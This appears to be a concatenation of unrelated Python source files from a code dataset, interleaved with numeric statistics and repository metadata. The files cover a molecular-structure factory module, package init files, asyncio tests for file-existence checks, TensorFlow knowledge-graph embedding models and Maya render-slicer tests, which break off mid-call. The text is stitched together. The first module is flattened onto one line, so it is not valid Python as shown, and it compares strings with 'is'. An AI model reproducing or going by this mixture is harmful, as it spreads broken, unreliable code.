def make_atom(index=None, id=None, name=None, type=None): from .atom import Atom return Atom(index=index, id=id, name=name, type=type) def make_group(index=None, id=None, name=None, type=None, atoms=[]): from .groups import Group, AminoAcid, Nucleotide, Ion, Water, Cosolute, SmallMolecule if type is None: return Group(index=index, id=id, name=name, atoms=atoms) elif type == 'aminoacid': return AminoAcid(index=index, id=id, name=name, atoms=atoms) elif type == 'nucleotide': return Nucleotide(index=index, id=id, name=name, atoms=atoms) elif type == 'ion': return Ion(index=index, id=id, name=name, atoms=atoms) elif type == 'water': return Water(index=index, id=id, name=name, atoms=atoms) elif type == 'cosolute': return Cosolute(index=index, id=id, name=name, atoms=atoms) elif type == 'small_molecule': return SmallMolecule(index=index, id=id, name=name, atoms=atoms) else: raise ValueError("Group type not recognized") def make_component(index=None, id=None, name=None, type=None, atoms=[], groups=[]): from .component import Component return Component(index=index, id=id, name=name, type=type, atoms=atoms, groups=groups) def make_molecule(index=None, id=None, name=None, type=None, atoms=[], groups=[], components=[]): from .molecules import Molecule, Ion, Water, Cosolute, SmallMolecule,\ Peptide, DNA, RNA, Protein if type is None: return Molecule(index=index, id=id, name=name, atoms=atoms, groups=groups, components=components) elif type is "ion": return Ion(index=index, id=id, name=name, atoms=atoms, groups=groups, components=components) elif type is "water": return Water(index=index, id=id, name=name, atoms=atoms, groups=groups, components=components) elif type is "cosolute": return Cosolute(index=index, id=id, name=name, atoms=atoms, groups=groups, components=components) elif type is "small_molecule": return SmallMolecule(index=index, id=id, name=name, atoms=atoms, groups=groups, components=components) elif type is "peptide": return Peptide(index=index, id=id, name=name, atoms=atoms, groups=groups, components=components) elif type is "dna": return DNA(index=index, id=id, name=name, atoms=atoms, groups=groups, components=components) elif type is "rna": return RNA(index=index, id=id, name=name, atoms=atoms, groups=groups, components=components) elif type is "protein": return Protein(index=index, id=id, name=name, atoms=atoms, groups=groups, components=components) else: raise ValueError("Entity type not recognized.") def make_chain(index=None, id=None, name=None, type=None, atoms=[], groups=[], components=[]): from .chain import Chain return Chain(index=index, id=id, name=name, type=type, atoms=atoms, groups=groups, components=components) def make_entity(index=None, id=None, name=None, type=None, atoms=[], groups=[], components=[], chains=[], molecules=[]): from .entities import Entity, Ion, Water, Cosolute, SmallMolecule, Peptide, \ DNA, RNA, Protein if type is None: return Entity(index=index, id=id, name=name, atoms=atoms, groups=groups, components=components, chains=chains, molecules=molecules) elif type is "ion": return Ion(index=index, id=id, name=name, atoms=atoms, groups=groups, components=components, chains=chains, molecules=molecules) elif type is "water": return Water(index=index, id=id, name=name, atoms=atoms, groups=groups, components=components, chains=chains, molecules=molecules) elif type is "cosolute": return Cosolute(index=index, id=id, name=name, atoms=atoms, groups=groups, components=components, chains=chains, molecules=molecules) elif type is "small_molecule": return SmallMolecule(index=index, id=id, name=name, atoms=atoms, groups=groups, components=components, chains=chains, molecules=molecules) elif type is "peptide": return Peptide(index=index, id=id, name=name, atoms=atoms, groups=groups, components=components, chains=chains, molecules=molecules) elif type is "dna": return DNA(index=index, id=id, name=name, atoms=atoms, groups=groups, components=components, chains=chains, molecules=molecules) elif type is "rna": return RNA(index=index, id=id, name=name, atoms=atoms, groups=groups, components=components, chains=chains, molecules=molecules) elif type is "protein": return Protein(index=index, id=id, name=name, atoms=atoms, groups=groups, components=components, chains=chains, molecules=molecules) else: raise ValueError("Entity type not recognized.") def make_bond(index=None, atoms=None, order=None): from .bond import Bond return Bond(index=index, atoms=atoms, order=order)
29.335
89
0.582069
663
5,867
5.135747
0.064857
0.085169
0.098678
0.115125
0.860206
0.847871
0.841997
0.841997
0.824082
0.784728
0
0
0.310551
5,867
199
90
29.482412
0.84178
0
0
0.525
0
0
0.038875
0
0
0
0
0
0
1
0.058333
false
0
0.058333
0
0.358333
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
9cad2e3bf1088db5dc729f23829a154a476faa69
224
py
Python
utils/__init__.py
davidemarelli/sfm_flow
7a96d8309cc01b8499347ba0cae882923d82bbcc
[ "MIT" ]
8
2020-10-27T12:52:17.000Z
2022-03-30T04:15:37.000Z
utils/__init__.py
ElsevierSoftwareX/SOFTX_2020_51
b240a113c91405fac60444a6e56e87e3cf17a27b
[ "MIT" ]
1
2020-11-09T01:56:04.000Z
2020-11-24T15:58:26.000Z
utils/__init__.py
davidemarelli/sfm_flow
7a96d8309cc01b8499347ba0cae882923d82bbcc
[ "MIT" ]
2
2021-12-02T10:04:39.000Z
2022-03-28T07:54:07.000Z
from .animation import * from .blender_version import BlenderVersion from .camera import * from .gt_writer import GroundTruthWriter from .math import * from .object import * from .scene_bounding_box import SceneBoundingBox
24.888889
48
0.821429
28
224
6.428571
0.571429
0.222222
0
0
0
0
0
0
0
0
0
0
0.129464
224
8
49
28
0.923077
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
1409da3c9ee10c509438ffe300fee5d2ab422c66
39
py
Python
fhirpipe/analyze/__init__.py
arkhn/fhir-pipe
fd54e1910f6f037b12e60cd8d29c033971fe1de0
[ "Apache-2.0" ]
27
2018-10-16T13:03:17.000Z
2022-01-05T01:21:37.000Z
fhirpipe/analyze/__init__.py
arkhn/fhir-pipe
fd54e1910f6f037b12e60cd8d29c033971fe1de0
[ "Apache-2.0" ]
45
2018-10-21T14:14:11.000Z
2020-06-25T14:32:28.000Z
fhirpipe/analyze/__init__.py
arkhn/fhir-pipe
fd54e1910f6f037b12e60cd8d29c033971fe1de0
[ "Apache-2.0" ]
2
2019-03-27T12:39:54.000Z
2019-04-06T22:33:20.000Z
from .analyzer import Analyzer # noqa
19.5
38
0.769231
5
39
6
0.8
0
0
0
0
0
0
0
0
0
0
0
0.179487
39
1
39
39
0.9375
0.102564
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
1411a5bb03c3d93e8c6853835a9d75ce37cd435a
3,800
py
Python
tests/src/tasks_test/path_test.py
michalbachowski/python-checklisting
31cbe1fb87683ffbb21104585e318d844fc7c52b
[ "MIT" ]
null
null
null
tests/src/tasks_test/path_test.py
michalbachowski/python-checklisting
31cbe1fb87683ffbb21104585e318d844fc7c52b
[ "MIT" ]
null
null
null
tests/src/tasks_test/path_test.py
michalbachowski/python-checklisting
31cbe1fb87683ffbb21104585e318d844fc7c52b
[ "MIT" ]
null
null
null
import mock from pathlib import Path import asynctest from checklisting.result.status import TaskResultStatus from checklisting.tasks.path import FileExistsTask, DirectoryExistsTask class FileExistsTaskTest(asynctest.TestCase): def setUp(self): self.path = mock.MagicMock(Path) self.path.__str__.return_value = 'test_path' self.path.is_file.return_value = False self.path.is_dir.return_value = False self.task = FileExistsTask(self.path) def test_no_path_given_raises_error(self): with self.assertRaises(TypeError): FileExistsTask() async def test_None_path_given_returns_failure(self): task = FileExistsTask(None) result = await task.execute() self.assertEqual(result.status, TaskResultStatus.FAILURE) self.assertEqual(result.message, "'NoneType' object has no attribute 'is_file'") async def test_when_file_does_not_exist_failure_is_returned(self): result = await self.task.execute() self.assertEqual(result.status, TaskResultStatus.FAILURE) self.assertEqual(result.message, "File [test_path] does NOT exist") async def test_when_file_is_a_directory_warning_is_returned(self): self.path.is_dir.return_value = True result = await self.task.execute() self.assertEqual(result.status, TaskResultStatus.WARNING) self.assertEqual(result.message, "Path [test_path] is a directory, not a file") async def test_when_file_exists_success_is_returned(self): self.path.is_file.return_value = True result = await self.task.execute() self.assertEqual(result.status, TaskResultStatus.SUCCESS) self.assertEqual(result.message, "File [test_path] exists") def test_str_returns_path(self): self.assertEqual(str(self.task), 'test_path') def test_eq_compares_two_paths(self): self.assertEqual(FileExistsTask(Path('/')), FileExistsTask(Path('/'))) class DirectoryExistsTaskTest(asynctest.TestCase): def setUp(self): self.path = mock.MagicMock(Path) self.path.__str__.return_value = 'test_dir' self.path.is_file.return_value = False self.path.is_dir.return_value = False self.task = DirectoryExistsTask(self.path) def test_no_path_given_raises_error(self): with self.assertRaises(TypeError): DirectoryExistsTask() async def test_None_path_given_returns_failure(self): task = DirectoryExistsTask(None) result = await task.execute() self.assertEqual(result.status, TaskResultStatus.FAILURE) self.assertEqual(result.message, "'NoneType' object has no attribute 'is_dir'") async def test_when_directory_does_not_exist_failure_is_returned(self): result = await self.task.execute() self.assertEqual(result.status, TaskResultStatus.FAILURE) self.assertEqual(result.message, "Directory [test_dir] does NOT exist") async def test_when_directory_is_a_file_warning_is_returned(self): self.path.is_file.return_value = True result = await self.task.execute() self.assertEqual(result.status, TaskResultStatus.WARNING) self.assertEqual(result.message, "Path [test_dir] is a file, not a directory") async def test_when_directory_exists_success_is_returned(self): self.path.is_dir.return_value = True result = await self.task.execute() self.assertEqual(result.status, TaskResultStatus.SUCCESS) self.assertEqual(result.message, "Directory [test_dir] exists") def test_str_returns_path(self): self.assertEqual(str(self.task), 'test_dir') def test_eq_compares_two_paths(self): self.assertEqual(DirectoryExistsTask(Path('/')), DirectoryExistsTask(Path('/')))
38
88
0.718947
465
3,800
5.625806
0.137634
0.114679
0.12844
0.079511
0.819954
0.795872
0.777523
0.729358
0.719419
0.68578
0
0
0.186053
3,800
99
89
38.383838
0.845781
0
0
0.535211
0
0
0.085789
0
0
0
0
0
0.309859
1
0.112676
false
0
0.070423
0
0.211268
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
1ad2baa5f9ccc534832bf45c49da6ee6e5fa0636
12,827
py
Python
efe.py
devinaarvind/tensorflow-efe
7b3001ca6f885d6c94b198d24560e2004bbd356e
[ "MIT" ]
13
2017-07-28T17:30:04.000Z
2021-03-13T01:43:18.000Z
efe.py
devinaarvind/tensorflow-efe
7b3001ca6f885d6c94b198d24560e2004bbd356e
[ "MIT" ]
3
2017-12-05T14:52:59.000Z
2018-03-02T09:56:14.000Z
efe.py
devinaarvind/tensorflow-efe
7b3001ca6f885d6c94b198d24560e2004bbd356e
[ "MIT" ]
7
2018-05-27T02:55:13.000Z
2019-07-16T11:12:59.000Z
from model import Model import tensorflow as tf import datetime import numpy as np import config from utils.tf_utils import l2_loss, l1_loss class TransE_L2(Model): def __init__(self, n_entities, n_relations, hparams): super(TransE_L2, self).__init__(n_entities, n_relations, hparams) self.margin = hparams.margin self.build() def add_params(self): minVal = -6 / np.sqrt(self.embedding_size) maxVal = -minVal self.entity_embedding = tf.Variable(tf.random_uniform( [self.n_entities, self.embedding_size], minVal, maxVal, seed=config.RANDOM_SEED), dtype=tf.float32, name="entity_embedding") self.relation_embedding = tf.Variable(tf.nn.l2_normalize(tf.random_uniform( [self.n_relations, self.embedding_size], minVal, maxVal, seed=config.RANDOM_SEED), -1), dtype=tf.float32, name="relation_embedding") normalized_entity_embedding = tf.nn.l2_normalize(self.entity_embedding, -1) self.normalization = self.entity_embedding.assign(normalized_entity_embedding) def add_prediction_op(self): self.e1 = tf.nn.embedding_lookup(self.entity_embedding, self.heads) self.e2 = tf.nn.embedding_lookup(self.entity_embedding, self.tails) self.r = tf.nn.embedding_lookup(self.relation_embedding, self.relations) self.pred = tf.negative(l2_loss(self.e1 + self.r - self.e2), name="pred") def add_loss_op(self): pos_size, neg_size = self.batch_size, self.batch_size * self.neg_ratio * 2 score_pos, score_neg = tf.split(self.pred, [pos_size, neg_size]) losses = tf.maximum(0.0, self.margin - score_pos + tf.reduce_mean(tf.reshape(score_neg, (self.batch_size, self.neg_ratio * 2)), -1)) self.loss = tf.reduce_mean(losses, name="loss") def train_on_batch(self, sess, input_batch): feed = self.create_feed_dict(**input_batch) sess.run(self.normalization) _, step, loss = sess.run([self.train_op, self.global_step, self.loss], feed_dict=feed) time_str = datetime.datetime.now().isoformat() print("{}: step {}, loss {:g}".format(time_str, step, loss)) class TransE_L1(TransE_L2): def add_prediction_op(self): self.e1 = tf.nn.embedding_lookup(self.entity_embedding, self.heads) self.e2 = tf.nn.embedding_lookup(self.entity_embedding, self.tails) self.r = tf.nn.embedding_lookup(self.relation_embedding, self.relations) self.pred = tf.negative(l1_loss(self.e1 + self.r - self.e2), name="pred") def add_loss_op(self): pos_size, neg_size = self.batch_size, self.batch_size * self.neg_ratio * 2 score_pos, score_neg = tf.split(self.pred, [pos_size, neg_size]) losses = tf.maximum(0.0, self.margin - score_pos + tf.reduce_mean(tf.reshape(score_neg, (self.batch_size, self.neg_ratio * 2)), -1)) self.loss = tf.reduce_mean(losses, name="loss") class DistMult(Model): def __init__(self, n_entities, n_relations, hparams): super(DistMult, self).__init__(n_entities, n_relations, hparams) self.l2_reg_lambda = hparams.l2_reg_lambda self.build() def add_params(self): self.entity_embedding = tf.Variable(tf.random_uniform( [self.n_entities, self.embedding_size], 0., 1., seed=config.RANDOM_SEED), dtype=tf.float32, name="entity_embedding") self.relation_embedding = tf.Variable(tf.random_uniform( [self.n_relations, self.embedding_size], 0., 1., seed=config.RANDOM_SEED), dtype=tf.float32, name="relation_embedding") def add_prediction_op(self): self.e1 = tf.nn.embedding_lookup(self.entity_embedding, self.heads) self.e2 = tf.nn.embedding_lookup(self.entity_embedding, self.tails) self.r = tf.nn.embedding_lookup(self.relation_embedding, self.relations) self.pred = tf.nn.sigmoid(tf.reduce_sum(self.e1 * self.r * self.e2, -1), name="pred") def add_loss_op(self): losses = tf.nn.softplus(-self.labels * tf.reduce_sum(self.e1 * self.r * self.e2, -1)) self.l2_loss = tf.reduce_mean(tf.square(self.e1)) + \ tf.reduce_mean(tf.square(self.e2)) + \ tf.reduce_mean(tf.square(self.r)) self.loss = tf.add(tf.reduce_mean(losses), self.l2_reg_lambda * self.l2_loss, name="loss") class DistMult_tanh(DistMult): def add_prediction_op(self): self.e1 = tf.tanh(tf.nn.embedding_lookup(self.entity_embedding, self.heads)) self.e2 = tf.tanh(tf.nn.embedding_lookup(self.entity_embedding, self.tails)) self.r = tf.nn.embedding_lookup(self.relation_embedding, self.relations) self.pred = tf.nn.sigmoid(tf.reduce_sum(self.e1 * self.r * self.e2, -1), name="pred") class NTN(Model): def __init__(self, n_entities, n_relations, hparams): super(NTN, self).__init__(n_entities, n_relations, hparams) self.l2_reg_lambda = hparams.l2_reg_lambda self.k = hparams.k self.build() def add_params(self): self.entity_embedding = tf.Variable(tf.random_uniform( [self.n_entities, self.embedding_size], 0., 1., seed=config.RANDOM_SEED), dtype=tf.float32, name="entity_embedding") self.W = tf.Variable(tf.random_uniform( [self.n_relations, self.k, self.embedding_size, self.embedding_size], 0., 1., seed=config.RANDOM_SEED), dtype=tf.float32, name="W") self.V = tf.Variable(tf.random_uniform( [self.n_relations, self.k, 2 * self.embedding_size], 0., 1., seed=config.RANDOM_SEED), dtype=tf.float32, name="V") self.B = tf.Variable(tf.random_uniform( [self.n_relations, self.k], 0., 1., seed=config.RANDOM_SEED), dtype=tf.float32, name="B") self.U = tf.Variable(tf.random_uniform( [self.n_relations, self.k], 0., 1., seed=config.RANDOM_SEED), dtype=tf.float32, name="U") def add_prediction_op(self): self.e1 = tf.nn.embedding_lookup(self.entity_embedding, self.heads) self.e2 = tf.nn.embedding_lookup(self.entity_embedding, self.tails) self.w = tf.nn.embedding_lookup(self.W, self.relations) self.v = tf.nn.embedding_lookup(self.V, self.relations) self.b = tf.nn.embedding_lookup(self.B, self.relations) self.u = tf.nn.embedding_lookup(self.U, self.relations) g_a = tf.matmul(self.v, tf.expand_dims(tf.concat([self.e1, self.e2], 1), -1)) e1 = tf.reshape(self.e1, [-1, 1, 1, self.embedding_size]) e2 = tf.reshape(self.e2, [-1, 1, self.embedding_size, 1]) e1 = tf.tile(e1, [1, self.k, 1, 1]) e2 = tf.tile(e2, [1, self.k, 1, 1]) g_b = tf.squeeze(tf.matmul(tf.matmul(e1, self.w), e2), -1) b = tf.expand_dims(self.b, -1) self.score = tf.squeeze(tf.matmul(tf.expand_dims(self.u, 1), tf.nn.tanh(g_a + g_b + b))) self.pred = tf.nn.sigmoid(self.score, name="pred") def add_loss_op(self): losses = tf.nn.softplus(-self.labels * self.score) self.l2_loss = tf.reduce_mean(tf.square(self.e1)) \ + tf.reduce_mean(tf.square(self.e2)) \ + tf.reduce_mean(tf.square(self.w)) \ + tf.reduce_mean(tf.square(self.v)) \ + tf.reduce_mean(tf.square(self.b)) \ + tf.reduce_mean(tf.square(self.u)) self.loss = tf.add(tf.reduce_mean(losses), self.l2_reg_lambda * self.l2_loss, name="loss") class NTN_diag(NTN): def add_params(self): self.entity_embedding = tf.Variable(tf.random_uniform( [self.n_entities, self.embedding_size], 0., 1., seed=config.RANDOM_SEED), dtype=tf.float32, name="entity_embedding") self.W = tf.Variable(tf.random_uniform( [self.n_relations, self.k, self.embedding_size], 0., 1., seed=config.RANDOM_SEED), dtype=tf.float32, name="W") self.V = tf.Variable(tf.random_uniform( [self.n_relations, self.k, 2 * self.embedding_size], 0., 1., seed=config.RANDOM_SEED), dtype=tf.float32, name="V") self.B = tf.Variable(tf.random_uniform( [self.n_relations, self.k], 0., 1., seed=config.RANDOM_SEED), dtype=tf.float32, name="B") self.U = tf.Variable(tf.random_uniform( [self.n_relations, self.k], 0., 1., seed=config.RANDOM_SEED), dtype=tf.float32, name="U") def add_prediction_op(self): self.e1 = tf.nn.embedding_lookup(self.entity_embedding, self.heads) self.e2 = tf.nn.embedding_lookup(self.entity_embedding, self.tails) self.w = tf.nn.embedding_lookup(self.W, self.relations) self.v = tf.nn.embedding_lookup(self.V, self.relations) self.b = tf.nn.embedding_lookup(self.B, self.relations) self.u = tf.nn.embedding_lookup(self.U, self.relations) g_a = tf.matmul(self.v, tf.expand_dims(tf.concat([self.e1, self.e2], 1), -1)) e1 = tf.reshape(self.e1, [-1, 1, self.embedding_size]) e2 = tf.reshape(self.e2, [-1, 1, self.embedding_size]) e1 = tf.tile(e1, [1, self.k, 1]) e2 = tf.tile(e2, [1, self.k, 1]) g_b = tf.reduce_sum(e1 * self.w * e2, -1, keep_dims=True) b = tf.expand_dims(self.b, -1) self.score = tf.squeeze(tf.matmul(tf.expand_dims(self.u, 1), tf.nn.tanh(g_a + g_b + b))) self.pred = tf.nn.sigmoid(self.score, name="pred") class Complex(Model): def __init__(self, n_entities, n_relations, hparams): super(Complex, self).__init__(n_entities, n_relations, hparams) self.l2_reg_lambda = hparams.l2_reg_lambda self.build() def add_params(self): self.entity_embedding1 = tf.Variable(tf.random_uniform( [self.n_entities, self.embedding_size], 0., 1., seed=config.RANDOM_SEED), dtype=tf.float32, name="entity_embedding1") self.entity_embedding2 = tf.Variable(tf.random_uniform( [self.n_entities, self.embedding_size], 0., 1., seed=config.RANDOM_SEED), dtype=tf.float32, name="entity_embedding2") self.relation_embedding1 = tf.Variable(tf.random_uniform( [self.n_relations, self.embedding_size], 0., 1., seed=config.RANDOM_SEED), dtype=tf.float32, name="relation_embedding1") self.relation_embedding2 = tf.Variable(tf.random_uniform( [self.n_relations, self.embedding_size], 0., 1., seed=config.RANDOM_SEED), dtype=tf.float32, name="relation_embedding2") def add_prediction_op(self): self.e1_1 = tf.nn.embedding_lookup(self.entity_embedding1, self.heads) self.e1_2 = tf.nn.embedding_lookup(self.entity_embedding2, self.heads) self.e2_1 = tf.nn.embedding_lookup(self.entity_embedding1, self.tails) self.e2_2 = tf.nn.embedding_lookup(self.entity_embedding2, self.tails) self.r_1 = tf.nn.embedding_lookup(self.relation_embedding1, self.relations) self.r_2 = tf.nn.embedding_lookup(self.relation_embedding2, self.relations) self.pred = tf.subtract(tf.reduce_sum(self.e1_1 * self.r_1 * self.e2_1, -1) + tf.reduce_sum(self.e1_2 * self.r_1 * self.e2_2, -1) + tf.reduce_sum(self.e1_1 * self.r_2 * self.e2_2, -1), tf.reduce_sum(self.e1_2 * self.r_2 * self.e2_1, -1), name="pred") def add_loss_op(self): losses = tf.nn.softplus(-self.labels * self.pred) self.l2_loss = tf.reduce_mean(tf.square(self.e1_1)) \ + tf.reduce_mean(tf.square(self.e1_2)) \ + tf.reduce_mean(tf.square(self.e2_1)) \ + tf.reduce_mean(tf.square(self.e2_2)) \ + tf.reduce_mean(tf.square(self.r_1)) \ + tf.reduce_mean(tf.square(self.r_2)) self.loss = tf.add(tf.reduce_mean(losses), self.l2_reg_lambda * self.l2_loss, name="loss") class Complex_tanh(Complex): def add_prediction_op(self): self.e1_1 = tf.tanh(tf.nn.embedding_lookup(self.entity_embedding1, self.heads)) self.e1_2 = tf.tanh(tf.nn.embedding_lookup(self.entity_embedding2, self.heads)) self.e2_1 = tf.tanh(tf.nn.embedding_lookup(self.entity_embedding1, self.tails)) self.e2_2 = tf.tanh(tf.nn.embedding_lookup(self.entity_embedding2, self.tails)) self.r_1 = tf.nn.embedding_lookup(self.relation_embedding1, self.relations) self.r_2 = tf.nn.embedding_lookup(self.relation_embedding2, self.relations) self.pred = tf.subtract(tf.reduce_sum(self.e1_1 * self.r_1 * self.e2_1, -1) + tf.reduce_sum(self.e1_2 * self.r_1 * self.e2_2, -1) + tf.reduce_sum(self.e1_1 * self.r_2 * self.e2_2, -1), tf.reduce_sum(self.e1_2 * self.r_2 * self.e2_1, -1), name="pred")
51.931174
99
0.646761
1,910
12,827
4.128796
0.06178
0.02384
0.059346
0.086736
0.898174
0.893102
0.876363
0.859371
0.841745
0.818539
0
0.028583
0.211741
12,827
246
100
52.142276
0.75136
0
0
0.590476
0
0
0.019802
0
0
0
0
0
0
1
0.109524
false
0
0.028571
0
0.17619
0.004762
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
2106a221162bb261fce7170e35082297c57da84c
16,771
py
Python
tests/env/maya/test_render_slicer.py
tws0002/anima
73c256d1f7716a2db7933d6d8519a51333c7e5b4
[ "BSD-2-Clause" ]
7
2016-03-30T14:43:33.000Z
2020-11-12T17:56:40.000Z
tests/env/maya/test_render_slicer.py
tws0002/anima
73c256d1f7716a2db7933d6d8519a51333c7e5b4
[ "BSD-2-Clause" ]
null
null
null
tests/env/maya/test_render_slicer.py
tws0002/anima
73c256d1f7716a2db7933d6d8519a51333c7e5b4
[ "BSD-2-Clause" ]
3
2017-04-13T04:29:04.000Z
2019-05-08T00:28:44.000Z
# -*- coding: utf-8 -*- # Copyright (c) 2012-2015, Anima Istanbul # # This module is part of anima-tools and is released under the BSD 2 # License: http://www.opensource.org/licenses/BSD-2-Clause import os import unittest # prepare for test os.environ['ANIMA_TEST_SETUP'] = "" from pymel import core as pm from anima.env.mayaEnv.render_slicer import RenderSlicer class RenderSlicerTester(unittest.TestCase): """test the ``anima.env.mayaEnv.render_slicer.RenderSlicer`` class """ def setUp(self): """setup the test """ # create a new scene pm.newFile(force=True) # create a render camera self.camera = pm.nt.Camera() def test_camera_argument_is_None(self): """testing if setting the camera argument to None will raise a TypeError """ with self.assertRaises(TypeError) as cm: RenderSlicer(camera=None) self.assertEqual( str(cm.exception), 'Please supply a Maya camera' ) def test_camera_attribute_is_set_to_None(self): """testing if setting the camera attribute to None will raise a TypeError """ rs = RenderSlicer(camera=self.camera) with self.assertRaises(TypeError) as cm: rs.camera = None self.assertEqual( str(cm.exception), 'Please supply a Maya camera' ) def test_camera_argument_is_not_camera(self): """testing if a TypeError will be raised when the camera argument value is not a Maya camera object """ with self.assertRaises(TypeError) as cm: RenderSlicer(camera='not a maya camera') self.assertEqual( str(cm.exception), 'RenderSlicer.camera should be a Maya camera, not str' ) def test_camera_attribute_is_set_to_a_non_camera_object(self): """testing if setting the camera attribute to a non camera object will raise a TypeError """ rs = RenderSlicer(camera=self.camera) with self.assertRaises(TypeError) as cm: rs.camera = 'not a maya camera' self.assertEqual( str(cm.exception), 'RenderSlicer.camera should be a Maya camera, not str' ) def test_slices_in_x_attribute_is_set_to_None(self): """testing if a TypeError will be raised when the slices_in_x attribute is set to None """ rs = RenderSlicer(camera=self.camera) with self.assertRaises(TypeError) as cm: rs.slices_in_x = None self.assertEqual( str(cm.exception), "RenderSlicer.slices_in_x should be a non-zero positive integer, " "not NoneType" ) def test_slices_in_x_attribute_is_set_to_a_value_other_than_an_integer(self): """testing if a TypeError will be tested if the slices_in_x attribute is set to a value other than an integer """ rs = RenderSlicer(camera=self.camera) with self.assertRaises(TypeError) as cm: rs.slices_in_x = 'not an integer' self.assertEqual( str(cm.exception), 'RenderSlicer.slices_in_x should be a non-zero positive integer, ' 'not str' ) def test_slices_in_x_attribute_is_zero(self): """testing if a ValueError will be raised when the slices_in_x attribute is set to zero """ rs = RenderSlicer(camera=self.camera) with self.assertRaises(ValueError) as cm: rs.slices_in_x = 0 self.assertEqual( str(cm.exception), 'RenderSlicer.slices_in_x should be a non-zero positive integer' ) def test_slices_in_x_attribute_is_smaller_than_1(self): """testing if a ValueError will be raised when the slices_in_x attribute is set to a value smaller than 1 """ rs = RenderSlicer(camera=self.camera) with self.assertRaises(ValueError) as cm: rs.slices_in_x = 0 self.assertEqual( str(cm.exception), 'RenderSlicer.slices_in_x should be a non-zero positive integer' ) def test_slices_in_x_attribute_is_working_properly(self): """testing if the slices_in_x attribute is properly working """ test_value = 1001 rs = RenderSlicer(camera=self.camera) self.assertNotEqual(rs.slices_in_x, test_value) rs.slices_in_x = test_value self.assertEqual(rs.slices_in_x, test_value) def test_slices_in_y_attribute_is_set_to_None(self): """testing if a TypeError will be raised when the slices_in_y attribute is set to None """ rs = RenderSlicer(camera=self.camera) with self.assertRaises(TypeError) as cm: rs.slices_in_y = None self.assertEqual( str(cm.exception), "RenderSlicer.slices_in_y should be a non-zero positive integer, " "not NoneType" ) def test_slices_in_y_attribute_is_set_to_a_value_other_than_an_integer(self): """testing if a TypeError will be tested if the slices_in_y attribute is set to a value other than an integer """ rs = RenderSlicer(camera=self.camera) with self.assertRaises(TypeError) as cm: rs.slices_in_y = 'not an integer' self.assertEqual( str(cm.exception), 'RenderSlicer.slices_in_y should be a non-zero positive integer, ' 'not str' ) def test_slices_in_y_attribute_is_zero(self): """testing if a ValueError will be raised when the slices_in_y attribute is set to zero """ rs = RenderSlicer(camera=self.camera) with self.assertRaises(ValueError) as cm: rs.slices_in_y = 0 self.assertEqual( str(cm.exception), 'RenderSlicer.slices_in_y should be a non-zero positive integer' ) def test_slices_in_y_attribute_is_smaller_than_1(self): """testing if a ValueError will be raised when the slices_in_y attribute is set to a value smaller than 1 """ rs = RenderSlicer(camera=self.camera) with self.assertRaises(ValueError) as cm: rs.slices_in_y = 0 self.assertEqual( str(cm.exception), 'RenderSlicer.slices_in_y should be a non-zero positive integer' ) def test_slices_in_y_attribute_is_working_properly(self): """testing if the slices_in_y attribute is properly working """ test_value = 1001 rs = RenderSlicer(camera=self.camera) self.assertNotEqual(rs.slices_in_y, test_value) rs.slices_in_y = test_value self.assertEqual(rs.slices_in_y, test_value) def test_slice_will_create_data_attributes_on_camera(self): """testing if calling the slice() method will create the data attributes on the camera """ rs = RenderSlicer(camera=self.camera) rs.slice(10, 20) self.assertTrue(rs.camera.hasAttr('isSliced')) self.assertTrue(rs.camera.hasAttr('nonSlicedResolutionX')) self.assertTrue(rs.camera.hasAttr('nonSlicedResolutionY')) self.assertTrue(rs.camera.hasAttr('slicesInX')) self.assertTrue(rs.camera.hasAttr('slicesInY')) def test_slice_will_set_the_data_attributes_on_camera(self): """testing if calling the slice() method will set the data attributes properly on camera """ # check the scene render resolution first dres = pm.PyNode('defaultResolution') dres.width.set(960) dres.height.set(540) rs = RenderSlicer(camera=self.camera) rs.slice(10, 20) self.assertEqual(rs.camera.isSliced.get(), True) self.assertEqual(rs.camera.nonSlicedResolutionX.get(), 960) self.assertEqual(rs.camera.nonSlicedResolutionY.get(), 540) self.assertEqual(rs.camera.slicesInX.get(), 10) self.assertEqual(rs.camera.slicesInY.get(), 20) def test_slice_will_work_on_previously_sliced_camera(self): """testing if the calling slice() method will also work with a previously sliced camera """ dres = pm.PyNode('defaultResolution') dres.width.set(960) dres.height.set(540) rs = RenderSlicer(camera=self.camera) rs.slice(10, 10) self.assertEqual(dres.width.get(), 96) self.assertEqual(dres.height.get(), 54) rs2 = RenderSlicer(camera=self.camera) rs2.slice(5, 5) self.assertEqual(dres.width.get(), 192) self.assertEqual(dres.height.get(), 108) def test_slice_will_set_the_render_resolution(self): """testing if calling slice() method will set the render resolution """ # check the scene render resolution first dres = pm.PyNode('defaultResolution') dres.width.set(960) dres.height.set(540) rs = RenderSlicer(camera=self.camera) rs.slice(10, 20) self.assertEqual(dres.width.get(), 96) self.assertEqual(dres.height.get(), 27) def test_slice_will_set_the_pan_zoom_enabled_attribute_of_the_camera(self): """testing if calling the slice() method will set the panZoomEnabled attribute of the camera """ rs = RenderSlicer(camera=self.camera) rs.slice(10, 20) self.assertEqual(self.camera.panZoomEnabled.get(), True) def test_slice_will_set_the_render_pan_zoom_attribute_of_the_camera(self): """testing if calling the slice() method will set the renderPanZoom attribute of the camera """ rs = RenderSlicer(camera=self.camera) rs.slice(10, 20) self.assertEqual(self.camera.renderPanZoom.get(), True) def test_slice_will_set_the_horizontal_pan_attribute_of_the_camera_properly(self): """testing if calling the slice() method will set the horizontalPan attribute of the camera properly """ rs = RenderSlicer(camera=self.camera) rs.slice(2, 3) expected_values = [ -0.35433, 0.35433, -0.35433, 0.35433, -0.35433, 0.35433 ] for i in range(6): pm.currentTime(i) self.assertAlmostEqual( self.camera.horizontalPan.get(), 